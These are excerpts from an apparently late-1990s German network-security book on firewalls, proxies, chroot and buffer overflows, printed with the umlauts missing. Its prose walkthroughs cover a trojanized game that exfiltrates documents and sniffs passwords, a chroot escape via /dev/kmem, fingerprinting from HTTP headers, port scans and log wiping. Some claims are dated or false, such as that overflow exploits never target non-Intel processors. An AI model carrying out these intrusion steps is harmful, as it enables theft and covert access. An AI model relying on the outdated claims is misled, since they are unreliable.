Interpreter-Programmiersprache, die so designt wurde, da alle Operationen vllig vom Betriebssystem abgeschirmt werden knnen.(SANDBOX) Versuche mit C, C++ oder Visual Basic sind mit Vorsicht zu betrachten, schlielich kann der Filter auch Angriffsziel sein, wenn auch nicht fr einen funktionierenden exploit, aber in den meisten Fllen reicht es dann fr einen DoS Angriff aus. Es ist also erhhte Vorsicht beim Programmieren eines solchen Filters geboten. berlegenswert ist es, ob man dedizierte Hardware hierfr einsetzt und diese mit Firewalls noch einmal sichert. Alternativ kann man auch einen Dmon/Dienst einsetzen, dessen Fehler stets verffentlicht werden, soda man prventiv stets die neuesten Patches einspielen kann. Eine Garantie kann prinzipiell nur bei Software gegeben werden, die auch im Quellcode verfgbar und somit berprfbar ist. Einige
Hersteller haben die Neigung, nur dann Fehler zu korrigieren oder zuzugeben, wenn sie massiv damit konfrontiert werden. Hierzu gehrt insbesondere Microsoft. Auch dann ist es noch eine Frage, wann die Fehler korrigiert werden. Eine Konsequenz daraus hat IBM gezogen. IBM supportet nun offiziell z.B. den Apache WWW-Server, der u.a. auch in LINUX und BSD-UNIX eingesetzt wird. Die Netfinity-Serie wird im Prinzip mit vielen LINUX Softwarekomponenten ausgeliefert (GNU Software). Hersteller, wie HP, DEC u.s.w. setzen diese Software auch ein. Software, die Datenstrme filtern kann, gibt es in groer Zahl. Sie unterscheiden sich erheblich in Qualitt und Funktionalitt. Sie sind zumeist in PERL oder in JAVA geschrieben. Fast alle sind im Quellcode verfgbar, aus nachvollziehbaren Grnden. Einige Firewalls haben Filtersprachen eingebaut, es mu aber vorher abgeklrt werden, ob diese fr alle Dienste anwendbar sind. Application level Gateways (PROXYs) besitzen manchmal nur minimale Filtermglichkeiten, die nur einzelne Befehle einiger Dienste (www,ftp..) filtern knnen. Es sollte unbedingt darauf geachtet werden, da diese Filter sowohl die Befehlssyntax, als auch die Lnge der bergebenen Parameter filtern knnen. Nur beide Eigenschaften zusammen knnen ausreichend Schutz gegen buffer overflows bieten. SUN geht andere Wege und ersetzt successive alle Dmonen unter UNIX durch deren JAVA Pendants. Diese Konzeption ist so vielversprechend, da es auch eine grere Zahl von freien JAVA Dmonen gibt, die teilweise Filtermglichkeiten direkt eingebaut haben, und so in der Lage sind, auch SQL-Server zu sichern. (Jigsaw)
overflow, so ist es mglich, da Programme mit minimalen Userrechten gestartet werden. Man geht dabei davon aus, da ein User auf einem UNIX-Betriebssystem keinen Schaden anrichten kann. Auch ist das Starten eines Netzwerksniffers mit Userrechten nicht so einfach mglich, da hierzu Zugriff auf RAW SOCKETS erforderlich ist. Diese Mglichkeit ist aber nur dem root User zugestanden. Nun lehrte die Erfahrung, da es sehr wohl mglich ist, mit Tricks sich vom User zum Superuser zu befrdern. Das gelingt durch Ausnutzung einiger der vielen internen Fehler von UNIX. Kein Hersteller hat es inzwischen geschafft, diese Probleme zuverlssig in den Griff zu bekommen. Die chroot() Umgebung begrenzt Dateizugriffsrechte auf ein Unterverzeichnis. Der Zugriff auf bergeordnete Verzeichnisse bleibt verwehrt. So erhoffte man sich, da wenn ein Dmon, der mit minimalen Userrechten in einer chroot() Umgebung gestartet wird, da ein Angreifer hchstens in einem begrenzten Bereich und mit minimalen Rechten sein Unwesen treiben kann. Diese Manahmen haben sich hervorragend bewhrt, und halten die allermeisten erfahrenen Angreifer schon fern. Einige findige Experten haben auch dagegen ein Mittel gefunden: Sie kopieren den Befehl mknod, mkfifo und mount in die chroot() Umgebung hinein, legen das Device, z.B. /dev/kmem an, welches der aktiven Festplatte entspricht und mounten dieses. Dieses ist das RUNTIME- Abbild des Systemkernels in das Filesystem eingeblendet. Mit einem Editor und Suchfunktionen kann man so nach unverschlsselten Paworten im gesamten RAM-Bereich suchen lassen. Dieser Trick funktioniert neben UNIX auch unter NT. In anderen Fllen war es mglich, bestimmte Dmonen durch einen DoS Angriff abzuschieen und statt dessen ihren eigenen zu starten, der Paworte genau dann entfhrt, wenn jemand mit gltigem Pawort sich authentifiziert. Mit diesen knnen sich Angreifer von auerhalb normal einloggen. Es soll aber nicht verschwiegen werden, da diese Tricks nur unter LINUX gut dokumentiert sind. Entscheidend fr die Wirksamkeit dieser Manahmen sind die Sicherheitsmechanismen des Kernels, und hier gibt es gravierende Unterschiede. FreeBSD, OpenBSD und NetBSD besitzen (in den neuesten Versionen) einen uerst restriktiven Sicherheitsmechanismus. So knnen z.B. einfache User niemals Supervisorrechte erlangen. Es ist auch nicht selbstverstndlich, da ein Administrator-Account beliebig Zugriff auf Logfiles hat. Erreicht wurde dieses u.a. dadurch, da erweiterte Rechte eingefhrt wurden, z.B append only - Files. D.h auch wenn jemand Administrator - Rechte besitzt, kann er niemals Logfiles verndern, oder Paworte verndern. Er knnte jedoch ohne Probleme weitere Accounts hinzufgen, jedoch keine lschen. Ohne diese Sicherheits -Mechanismen ist ein Dmon, der in einer chroot() Umgebung und mit nur minimalen Userrechten luft, ein Sicherheitsrisiko. Das betrifft insbesondere LINUX - Server. Bei anderen Betriebssystemen sind diese Eigenschaften in den jeweiligen trusted Varianten der Betriebssysteme bekannt (Trusted Solaris, Trusted Xenix....) Diese verfgen neben diesen Eigenschaften auch ber erweiterte Logging-Funktionen. Unter NT 3.50 (nicht 3.51 oder 4.0) existiert eine C2-Zertifizierung. Diese hat keinen Aussagewert bezglich mglicher buffer overflows
diese Server eine ISDN-Karte integriert, um zustzlich Hardware einzusparen. Da diese Server gleichzeitig noch als SQL oder FIBU-Datenbanken arbeiten knnen, ergeben sich einige sehr bedenkliche Sicherheitslcher. Da es auch keine weiteren Kontrollmglichkeiten gibt, bleibt ein Angriff immer unbemerkt. Betrachten wir einige Installationen:
werden simultan ausgeliefert. Ein Portscan ergibt, da Ports des PROXYs nach auen hin geffnet sind. Eine Recherche im Internet ergibt, da ein buffer overflow existiert und zudem der PROXY keine Absicherung gegen spoofing hat. Ein Angreifer, der gengend nahe (bis auf wenige Hops) an den DIAL-IN- Router herankommt, um diesem beim Abholen seiner E-Mail gespoofte Pakete zuzusenden, ist so in der Lage, jeden beliebigen Server innerhalb des Netzwerkes zu erreichen, durch den PROXY hindurch. Ein buffer overflow wre leicht mglich, aber wenn es schon spoofing tut. Mit gespooften Paketen ist es einem Angreifer mglich, interne IP-Adressen durch das uere Gateway in das Netz hinein zu schicken, vorausgesetzt, da er nahe genug an den DIAL-IN Router herankommt. Gespoofte Pakete werden normalerweise von Providern nicht weitergeleitet. So kann er z.B den Microsoft PROXY, Wingate o.. durchtunneln, und im Unternehmen groen Schaden anrichten (ein bekannter Fehler). Die Bezeichnung PROXY fr diese Software ist gerechtfertigt, jedoch fehlen die wesentlichen Eigenschaften eines Firewall-Routers. Theoretisch ist es mglich, die PROXYs unter NT so einzurichten, da ein solcher Angriff nicht mglich ist. Wird dieser PROXY von einem Nicht-Fachmann fr Security installiert, sind Einbrche nicht zu verhindern. Diese Server sind fast nicht gegen viele Arten von DoS Angriffen zu sichern und auch fr buffer overflows empfnglich. Es gibt zahlreiche Anbieter von PROXY-Firewalls fr Windows 95/98 oder NT 4.0. Alle setzen auf dem TCP/IP-Stack von Microsoft Windows auf. Die Administration erfolgt entweder ber die Arbeitsstation selber, oder aber remote, entweder ber Zusatzsoftware oder ber den Browser. In diesem Moment ist die Gefahr existent, da ein Angreifer mit einem berlangen String schon bei der Pawortabfrage einen buffer overflow initiieren kann, auch wenn diese ber SSL- oder SSH-Verschlsselung luft. Die Arbeitsstation gehrt in diesem Moment nmlich logisch gesehen zur Firewall hinzu. Whrend der gesamten anderen Zeit wird diese Arbeitsstation hufig von dem Systemadministrator zum surfen und zum Lesen von E-Mails benutzt. Ein Angreifer ist whrend dieser Zeit in der Lage, diese Arbeitsstation mit einem trojanischen Pferd unter seine Kontrolle zu bringen, oder zumindest das shared secret, z.B den SSH-Schlssel und das Pawort in seinen Besitz zu bringen. SSH und vermutlich auch andere Verschlsselungs/Authentifizierungssoftware ist gegen buffer overflows anfllig. Mit Kenntnis des Schlssels, des Pawortes und unter Anwendung von spoofing ist der Angreifer in der Lage, die Firewall auszuschalten.
LINUX verfgbar.) Ein Hinweise auf einen internen Router, also eine zweite Absicherung gegen Zugriffe auf das Intranet fehlt vllig. Die DMZ ist nicht existent. Es wird auch nicht darauf hingewiesen, da LINUX auch in der S.u.S.E Version 6.0 gegen buffer overflows nicht geschtzt ist, und Dmonen weder in chroot() Umgebung gestartet sind, noch es verboten ist, auf der Firewall X-Windows u. zu starten. Einige kleinere spoofing Fehler in der Konfiguration bezglich der MASQUERADING-Dmonen (FTP, VDO_LIVE, CU-See-Me, IRC, Quake....) addieren sich zu der Tatsache, das berhaupt keine Firewall jemals einen IRC/Quake-Client zulassen sollte. Alle IRC-Clients lassen sich remote fernsteuern , ein groes Sicherheitsrisik o. Sowohl IRC als auch Quake sind bekannt dafr, da sie unbekannten aus dem Internet Zugriff auf die Arbeitsstation hinter der Firewall geben. LINUX ist bekannt fr seine Fehler im TCP/IP-Stack, die in DoS Angriffe enden knnen. Die im Kernel eingebaute Firewall basiert auf dem TCP/IP-Stack, ist also gegen TCP/IP DoS Angriffe nicht abgesichert. In der Installationsanleitung findet sich auch keinerlei Hinweis darauf. Insgesamt kann man diesen Firewall - Aufbau nur als katastrophal bezeichnen. Diese Firewall sollte man auch nicht zustzlich zu einer bestehenden einsetzten. Die Gefahr, da diese Firewall einem DoS Angriff zum Opfer fllt, ist sehr gro.
solches Problem, welches ber Jahre bestanden hat - es ist inzwischen korrigiert. Betrachtet man die Aufgaben und Funktionsweisen einer modernen Firewall: Authentifizierung, Filter, ....so ist klar, da theoretisch im Falle, da ein Programmierfehler vorliegt, eine Firewall ebenso verletzbar ist, wie ein normales Betriebssystem. Fast alle Firewallhersteller trennen den Firewalldmon, der sich zwischen 2 Netzwerkinterfaces im Data-Link-Layer einklinkt von dem Administrations - Programm. Der Firewalldmon (Filter...) selber ist nicht empfindlich, da er ja nur Pakete auf einem Netzwerkinterface entgegennimmt, und nach einer Inspektion diese weiterleitet oder verwirft. Problematisch ist stets die Administration aus der Ferne. Probleme, die z.B. bei SSH oder PGP aufgetreten sind, zeugen davon, da auch Dmonen, die eigens fr starke Verschlsselung und Authentifizierung programmiert wurden, anfllig gegen buffer overflows sind. Jede Art Fernadministration ist mit einem Risiko verbunden. Firewalls, die remote ber WWW-Browser mit SSL - Verschlsselung administriert werden, sind evtl. verletzbar. Das Sicherheitsproblem knnte dann beim WWW-Server liegen. Um sicherzugehen, sollte auf einer Firewall neben dem Firewall - Programm und dem dazugehrigen Konfigurationsprogramm kein anderer Dienst oder Programm aktiviert sein. Dazu gehrt auch die remote Administration. Es gibt allerdings auch Firewalls, die (SPLIT)DNS Dienste und SMTP - Dienste anbieten (keine PROXYs) Prinzipiell ist auch hier ein buffer overflow mglich. Aus diesem Grunde sollten stets mehrere Firewalls von unterschiedlichen Herstellern zum Einsatz kommen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
die o.a. Zeit als Vorbereitung. Der eigentliche Angriff kann dann in Sekunden erfolgen. Wichtig ist es auch, dem Angreifer mglichst viele Hrden aufzustellen, in Form von Routern, Switches, Firewalls, VPN's innerhalb eines Unternehmens. Bei konsequenter berwachung mssen sich Aufflligkeiten in den Protokollfiles ergeben. Ein Security Training mit echten Angriffen ist ein unbedingtes Mu fr Systemadministratoren in greren Netzwerken.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
HTTP_ACCEPT = */* HTTP_ACCEPT_ENCODING = gzip, deflate HTTP_X_FORWARDED_FOR = 212.53.238.130 HTTP_VIA = 1.0 cache:8080 (Squid/2.0.PATCH2) Was sagt dem Angreifer das ? Er wei, bei welchem Provider die Firma einen Internet-Zugang besitzt, wer gerade zugesagt hat, da er mit Windows 98 in der Standardversion und dem Internet-Explorer (kein Fehler!) arbeitet, da er mit einem LINUX-Router als PROXY (SQUID) an das Internet angeschlossen ist, WINZIP so installiert hat, da ZIP-Files automatisch ausgepackt werden, seine IP-Adresse hinter dem Router 212.53.238.130 ist und keinerlei HTTP-Filter o.. eingesetzt werden. Er wei weiterhin, da jedes Programm ber die IP - Nummer 212.53.238.2 und Port 8080 als Gateway Daten aus dem Intranet an einen beliebigen Server im Internet senden kann, sowohl mit HTTP und FTP-Protokoll. Ein Netzwerk - Scanner wird zeigen, da alle Ports, auer Port 25 (sendmail) auf dem Router geschlossen worden sind. Weiterhin ist mit Sicherheit eine LINUX Version mit Kernel < 2.0.34 und allen bekannten Sicherheitlcken aktiv, diese sollen aber den Angreifer (noch nicht) interessieren. Weiterhin ist die Firma ber einen Provider mit reserviertem Subnetz an das Internet angebunden. Was braucht ein Angreifer also, um die Festplatte dieses Users zu durchforsten ? Ersteinmal VC++, Bibliotheken fr den PROXY Mechanismus, und den Quellcode von Tetris. Heraus kommt, nach ein paar Tagen Arbeit, ein Tetris - Spiel, welches ein paar Geheimnisse birgt. Es fragt nach der IP - Nummer des Rechners, auf dem es gestartet wird. Ist die IP - Nummer = 212.53.238.130 dann baut es ber die IP - Nummer ....2 und Port 8080 eine FTP-Verbindung in das Internet auf, und versendet alle ".doc" Files aus "C:\Eigene_Dateien" in das Internet, installiert einen Tastatursniffer und einen Netzwerkscanner, welches es von einem FTP-Server im Internet holt. Nach einigen Tagen wird es folgende Informationen auf die Festplatte geschrieben haben: Smtliche Telnet - Paworte, die an 212.53.238.130 gesandt worden sind, smtliche Paworte die an ...130, Port 110 gesandt worden sind.....smtliche Paworte, die an den NOVELL/NT-Server gesandt worden sind........Bei jedem Start des Tetris -Spiels verschwinden diese Informationen in das Internet und werden gelscht. Kurze Zeit spter bekommt Herr Mitarbeiter via E-Mail einen Geburtstagsgru, eine animierte Grafik von einem Kollegen, ein paar Tren weiter. Er startet dieses .exe Programm und freut sich ber Glckwnsche. In diesem Moment wird eine Telnet-Verbindung zum Router aufgebaut, alle externen Firewallregeln ausgeschaltet, und eine E-Mail versandt. Der Router ist vllig offen, der Angreifer ist in Besitz einiger oder sogar aller User-Accounts und des Administrator-Pawortes. Er stoppt mit dem Signalhndler (kill) alle Logdmonen, installiert das Protokoll IPX und NCPFS whrend der Laufzeit, ein Neustart ist unter LINUX nicht notwendig. Da er einige/alle Paworte des NOVELL-Server, die IP - Nummern, IPX-Nodenummern und die Hardware-Adressen der Netzwerkkarten der Mitarbeiterrechner kennt, kann er im Prinzip den NOVELL-Server komplett in das Filesystem von LINUX einklinken. Er hat dabei nur wenige Hindernisse zu berwinden: 1. Kopplung Login/Pawort an eine MAC-Adresse 2. Der Mitarbeiter darf seine Arbeitsstation nicht gestartet haben. Also wartet der Angreifer bis zur Mittagspause, vergewissert sich, da Mitarbeit er XY nicht vor seinem Rechner sitzt und arbeitet, startet einen kleinen DoS Angriff auf den Rechner des Mitarbeiters. Der Rechner ist abgestrzt, die Netzwerkkarte deaktiviert. Nun fhrt er in LINUX ein virtuelles Interface hoch, mit derselben IP - Nummer und MAC-Adresse, die vorher der Windows 98 Rechner von Mitarbeiter XY besa. Der Angreifer loggt sich mit LINUX in den NOVELL-Server ein und beginnt, DOC-Files auf den LINUX-Recher zu bertragen. Nach 2 Minuten ist er fertig, loggt sich wieder aus und beginnt, mit einem Winword -> ASCII Konverter die Datenmenge zu reduzieren. Mit ZIP komprimiert er diese und versendet sie an eine E-Mail Adresse im Internet. Er "korrigiert" die Firewallregeln, bereinigt die LOG-Files, aktiviert die Logdmonen und verschwindet ungesehen. Der Systemadministrator ist ein gewissenhafter Mensch, er kontrolliert sorgfltig alle Logfiles auf NOVELL-Server und Router. Da er nichts ungewhnliches bemerkt, fhrt er beruhigt um 18.00 Uhr nach Hause. Welche anderen Informationen htte der Angreifer erhalten knnen ?
HTTP_USER_AGENT = Mozilla/4.06 [de]C-QXW0310E (WinNT; I) HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* HTTP_ACCEPT_ENCODING = gzip
Es htte sich nichts gendert, der o.a. Angriff wre auch so erfolgreich gewesen, Trotz des Einsatzes von NT. Netscape 4.06 htte wegen eines BUGS in JAVASCRIPT es dem Angreifer ermglicht, den CACHE auszulesen, um festzustellen, wohin der Mitarbeiter gerne "surft". Ein neuer Angriff, hier die Daten: REMOTE_ADDR = 195.211.212.134 REMOTE_HOST = 195.211.212.134 HTTP_USER_AGENT = Microsoft Internet Explorer HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* HTTP_ACCEPT_ENCODING = gzip HTTP_ACCEPT_CHARSET = iso-8859-1,*,utf-8 HTTP_X_FORWARDED_FOR = 192.168.99.5 HTTP_VIA = 1.0 fv-router.firma.de:8080 (Squid/2.1.RELEASE) Was liest ein Angreifer hieraus ? Im Gegensatz zur vorgergehenden Netzwerkanbindung ist hier der Systemadministrator offensichtlich sehr engagiert und viel erfahrener in Netzwerktechnik. Woran sieht man das ? HTTP_USER_AGENT = Microsoft Internet Explorer ist eine Irrefhrung des Squid 2.1 ber die verwendeten Browser im Netz. Die Information HTTP_X_FORWARDED_FOR zeigt, da hier auf einem LINUX-Router (wahrscheinlich S.u.S.E 5.3 oder 6.0 mit den Firewall und Masquerading - Regeln installiert wurde. Es mu ein Systemadministrator sein, der sich hervorragend mit UNIX auskennt, da er Squid 2.1 neu kompiliert und installiert hat. Weiterhin kennt sich dieser gut im Routing aus, da er die 192.168.x.x Netzwerkadresse im Intranet verwendet, welche per Definition nicht in das Internet geroutet wird, er setzt Masquerading (also NAT) ein. Im Gegensatz zu dem ersten Beispiel besitzt diese Firma keine Anbindung ber eine feste IP Nummer, sondern benutzt einen preiswerten Account mit SYNC-PPP, d.h., das sich die IP - Nummer von mal zu mal ndert. Ein Scan des Class-C Netzes zeigt, da nur ca. 30 IP - Nummern in Frage kommen. Falls der Angreifer also diesen LINUX-Router wiederfinden mchte, mu er stndig diese 30 IP - Nummern auf das Vorhandensein von Port 8080 scannen, was sich evtl. etwas Zeit kosten wrde, oder dem Systemadminitrator eine E-Mail schicken, die ihn veranlat, eine bestimmte Seite im Internet zu besuchen. Hier wird er dann "getrappt", also ihm eine Falle gestellt. Die sieht folgendermaen aus: Es besucht jemand die WWW-Seite. Der WWW-Server erzeugt einen Eintrag in das "access_log" File. Dieses File wird mit "tail -f access_log|grep 195.211.212" (UNIX oder NT+UNIX Toolkits) stndig abgefragt. Tritt ein "Event" auf, so wird automatisch ein "ping 195.211.212.xxx (mit der vom "Event" bergebenen IP-Adresse) ausgefhrt. Das ist von jedem Anfnger zu bewltigen und eignet sich hervorragend auch fr riesige Netze, wie z.B. der Telekom mit Millionen von IP Nummern oder groen Firmen, wie Siemens, DEBIS, Daimler.....Duch den "ping" wird die ISDN-Leitung des Routers offengehalten, zwecks Untersuchung. Er kann auch sicher sein, da er das richtige Opfer gefunden hat, da sonst niemand diese bestimmte WWW-Seite kennt. Der Angreifer kann also in Ruhe irgendwann in der Nacht den Server untersuchen. Ein Scan wird zeigen, da hier keinerlei Port offen ist. Da diese Firma so, wegen der dynamischen IP - Nummer und wegen der vllig geschlossenen Ports keine E-Mail erhalten wrde, mu also ein Programm die E-Mail aktiv in das Netzwerk holen, aber wie und von wo ? Eine kurze Abfrage des MX - Eintrages dieser Firma XY mit nslookup zeigt, da die E-Mail auf einem Auenserver gelagert wird. Es ist zu vermuten, da zu bestimmten Zeiten E-Mail geholt und gesendet wird, dieses Verfahren dient der Vermeidung von Telefonkosten. Was wrde ein Angreifer unternehmen, um in dieses Netzwerk vorzudringen ? Im Prinzip wrde auch der o.a. Angriff funktionieren, es ist aber mit etwas hherem Widerstand bei einem Angriff von innen her zu rechnen. Z.B. wrde ein erfahrener Administrator einen SSH-Client benutzen, oder via WWW-Interface (Webmin) oder SSL den Server administrieren. Normale Useraccounts knnten fr telnet deaktiviert sein, soda ein Einloggen unmglich ist. Paworte wrden in diesem Falle nur ber Port 110 bertragen, mit Sicherheit werden es unverschlsselte Paworte sein. Genau hier wird also ein Netzwerksniffer ansetzen (z.B. BO). Da bei neueren LINUX - Versionen POP3 gut gesichert ist, bleibt nur noch ein Angriff ber PORTMAP, MOUNTD, INETD....HTTP von innen heraus brig. Dem Angriff msste also ein SecurityScan des Gateways von innen vorausgehen. Ein Blick auf "BUGRAQ" verrt schon einige Exploits, die in S.u.S.E. LINUX 5.3 und 6.0 (aber auch anderen Distributionen) noch nicht aktuell gepatcht sein knnen, es sei denn, der Systemadministrator hat diese Sicherheitsprobleme beseitigt. Die Wahrscheinlichkeit, von Innen heraus einen erfolgreichen "exploit" zu starten, ist relativ hoch. Nachteil ist, da dieser auf Windows 95/98 oder NT portiert werden mu. Dank der neuen Winsock 2.0+ ist dies kein Problem mehr, der Aufwand, ein Programm, welches "RAW sockets" anspricht, ist gering. Der SSH, MOUNTD oder SAMBA - exploit wrde mit hoher Wahrscheinlichkeit erfolgreich sein, vorausgesetzt, da der Router als Fileserver und E-Mailserver eingesetzt wird. Ist zudem noch X-Windows installiert (was bei LINUX - Routern meistens so ist), ist auch hier ein groes Sicherheitsloch gegeben. Da aber Angriffe auf Applikationsebene (Tetris....) gut funktionieren, besteht ein Anla, sich weiter Gedanken zu machen.
Der Einsatz von SQUID auf dem Router (Firewall??) hat es berhaupt erst ermglicht, da der Angreifer in Kenntnis der internen IP - Nummer kam, um den Angriff besser vorbereiten zu knnen. Ohne SQUID, also nur als Router mit Masquerading installiert, ergeben sich geringfgig andere Informationen, die der Angreifer nutzen kann: HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/v nd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* Ohne SQUID kommt der Angreifer in Besitz von Informationen ber viele Anwendungsprogramme, welche auf der Arbeitsstation installiert sind. Powerpoint, Excel und Winword sind Programme, die VBasic als Programmiersprache nutzen, mit allen Mglichkeiten, die ein VC++ Programm auch besitzt. Man knnte also ein Programm (Netzwerkscanner, Keyboard- Sniffer) in ein Makro einbauen, und dem arglosen Mitarbeiter als WinWord/Excel/Powerpoint-Datei senden. Diese Angriffe sind noch nicht beschrieben worden......kommt noch....:) Die Tatsache, da MSIE 4.0 und Windows 95 eingesetzt wird, erleichtert die Suche nach funktionierenden "exploits".
nobbelazzo.com nameserver = NS2.EU.CONCERT.NET NS.nobbelazzo.com internet address = 195.99.32.6 NS2.EU.CONCERT.NET internet address = 195.99.65.212 Ok, ein "bastion host", aber welche Ports sind geffnet ? [root@www stepken]#./portscan ns.nobbelazzo.com 1 1024 No route to host ! [root@www stepken]#./portscan ns.nobbelazzo.com 25 26 25 No route to host ! [root@www stepken]# ./portscan ns.nobbelazzo.com 53 54 53 No route to host ! [root@www stepken]# ./portscan ns.nobbelazzo.com 55 56 No route to host ! [root@www stepken]# ./portscan ns.nobbelazzo.com 8080 8081 8080 No route to host ! Was soll uns das sagen ? Aus dem E-Mail Header entnimmt der Angreifer, da SMAP V1.3 unter UNIX installiert wurde, also das TIS FWTK in der Version (V1.3) installiert wurde. Der erste Test "portscan ...1 1024" wird abgeblockt, ein Hinweis auf Firewall-1, die vorgeschaltet wurde. Fngt der Angreifer aber an, von dem vermutlich aktiven Port aus zu scannen, bekommt er doch einen eindeutige Aussage (Man achte auf das Echo bei portscan ...25 26) Auf dem "bastion host" sind ein PROXY-CACHE, Ein E-Mail-Dmon, und ein DNS-Server installiert (Port 25, 53, 8080). Der Angreifer hat also Informationen mit Hilfe des Portscanners erhalten, obwohl die Firewall angeblich Portscans verhindert. Mit Sicherheit hat aber der counter intelligence Mechanismus verhindert, da der Systemadministrator entdecken knnte, da die Ports tatschlich geffnet sind. So fhren Firewalls Portscanner in die Irre und verhindern, da Sicherheitslcken entdeckt werden knnen. Fr einen unerfahrenen Administrator ist dieses unmglich zu durchschauen. Ein Traceroute sagt vielleicht mehr aus: 13 access2-fa2-1-0.nl1.concert.net (195.99.66.3) 65.666 ms 43.910 ms 47.275 ms 14 194.73.74.110 (194.73.74.110) 84.096 ms 84.434 ms 85.156 ms 15 ns.nobbelazzo.com (195.99.32.6) 60.055 ms 82.062 ms 65.236 ms Es scheint, da 194.73.74.110 der beltter zu sein, der die Portscans verhindert, eine genauere Analyse des TCP Inkrements, z.B., wird einem erfahreneren Angreifer genau sagen, welche Firewall auf welchem Betriebssystem installiert ist. Hierfr bentigt man aber tiefere Kenntnisse. Offensichtlich ist es aber mglich , sowohl Port 25 (SMAP), Port 53 (DNS) und sogar Port 8080 (eine Sicherheitslcke?) von auen zu erreichen. Die Wahrscheinlichkeit, das ein "buffer overfow" auf Port 8080 und 53 erfolgreich ist, ist hoch. Port 25 mit SMAP ist "bullet proof", hat also kaum Chancen auf Erfolg. Der Aufbau entspricht der "screened host" Architektur, d.h. selbst wenn der "buffer overflow" Angriff erfolgreich wre, so mte ein Angreifer doch erhebliche "Umwege" in Kauf nehmen, um nicht entdeckt zu werden. Spezielle Angriffe, die "source routing" und "spoofing" erfordern, sind somit schon einmal erschwert. Soweit zu den Chancen, die Firewall direkt anzugreifen. Viel kommunikationsfreudiger sind die Mitarbeiter, die E-Mail - Anschlu haben. Sie freuen sich ber jeden neuen Gru, eine kleine Animation, einen Weihnachtsmann, ein Spiel, einem trojanischen Pferdchen z.B o.. Da Attachments in dieser Firma nicht heraus gefiltert werden, sollte klar sein, wie z.B. ein Tunnel aufgebaut werden kann. Von einer beliebigen internen IP-Adresse ber Port 8080 des Internetgateways. Das Unternehmensinterne routing wird den Weg schon finden. Was der Angreifer nun nachprogrammieren mu, ist ein Tunnelprogramm, welches mit dem PROXYMechanismus des Gateways, Port 8080 kommuniziert, und die Eigenschaften von NetBus oder BO besitzt. Danach wird es mit einem Spiel versehen, und an alle Mitarbeiter des Unternehmens verschickt, die surfen drfen. Nachdem die wichtigsten Werkzeuge schon geschrieben sind, mssen nur noch ein paar Tage investiert werden, um ein allgemein anwendbares Werkzeug zur Verfgung zu haben. Auch ein Angriff auf Anwendungsebene wrde hier aber uerst erfolgreich sein, E-Mails mit Attachments (Weihnachtsgre o..) kommen stets an. Ein Angreifer mu nur irgendeinen "Dummen" aus dem Bereich Sekretariat oder Verkauf nach seiner E-Mail - Adresse fragen und schon lt sich ein trojanisches Pferd genau plazieren. Der offene Port 8080, der existiert, jedoch von Auen nicht nutzbar ist,lt vermuten, da von vielen Arbeitspltzen aus ber Port 8080 und ns.nobbelazzo.com als Gateway ein Herausschleusen von Informationen mglich ist. Die Firewall dient dann nur noch zur Aufzeichnung eines Angriffs, um hinterher genau feststellen zu knnen,
da die Informationen an irgendeinen Host im Internet (z.B. in Japan) gesendet wurden, von welchem aus sich die Spur verliert. Die Information, da innerhalb des Netzwerkes Exchange 5.5 zum Einsatz kommt, spielt weniger eine Rolle. Es lt vermuten, da hier Virenscanner u.. installiert sind, welche allzu schnell einem DoS Angriff zum Opferfallen knnten, ebenso wie ns.nobbelazzo.com wahrscheinlich, da es auf LINUX basiert, mit einem lteren TCP/IP-Stack Problem konfrontiert, schnell seine Arbeit einstellen wrde. Es spielt heute fr einen Angreifer kaum noch eine Rolle, ob eine Firewall installiert ist, oder nicht, das eigentliche Problem sind die Windows NT Arbeitstationen und die Anwendungsprogramme, Office und der Internet-Explorer.
um eine Telnet Session zu starten (die ROOT-Shell). Eine Sperrung des Port 23 (TELNET) htte ebenfalls nichts gebracht, da der Angreifer ja ebenfalls eine Telnet-Session ber den Port 110 gestartet hatte. Htte die Firewall eventuell diejenigen Informationen liefern knnen, die der Einbrecher aus den Logfiles gelscht hat ? Nein, da der Angreifer fr seine Angriffe einen PROXY verwendet hat, also niemals direkten Kontakt mit dem Server hatte. Die Firewall htte dieses ebenfalls so aufgezeichnet. Htte die Verwendung eines anderen Betriebssystems diesen Angriff verhindert ? Bedingt, da auch andere Betriebssysteme Sicherheitslcken besitzten, allerdings andere, die vielleicht nicht so bekannt sind. Einen professionellen Angreifer htte diese nicht gehindert. Viele Angriffe auf LINUX werden jedoch von Hackern durchgefhrt, die zum Spa herumspielen. Die Mehrzahl dieser Hacker sucht sich LINUX Server aus. Dementsprechend ist die Ausfallrate bei LINUX hher, wenn der Systemadministrator nicht regelmig und gewissenhaft immer die neuesten Patches aufspielt. Das versteht sich aber auch bei anderen Betriebssystemen von selber, da stets die Patches oder Service Packs aufgespielt werden. Am wenigsten Ausflle sind also bei gut und gewissenhaft betreuten Systemen zu beklagen. Ganz sicher htte aber der Einsatz von LINUX mit einem anderen Prozessor, z.B. MIPS oder ARM den Angriff vereitelt. Buffer Overflows sind nmlich speziell auf den Intel-Prozessor zugeschnitten. Anpassungen fr andere Prozessoren findet man nie. Der Systemadministrator hat also immer etwas mehr Zeit, die Security Patches einzuspielen. Einige der von mir betreuten LINUX Server, die mit SPARC, MIPS, DEC ALPHA oder ARM - Prozessoren laufen, wurden schon hufiger angegriffen, allerdings niemals erfolgreich. Aus ca. 150 bekannten und in Log-Dateien registrierten Angriffen kann ich nun abschtzen, da ich auf den Intel basierten Servern ca. 95 % aller Einbrche nicht bemerkt habe ......peinlich .... Lsungen fr Sicherheitsprobleme
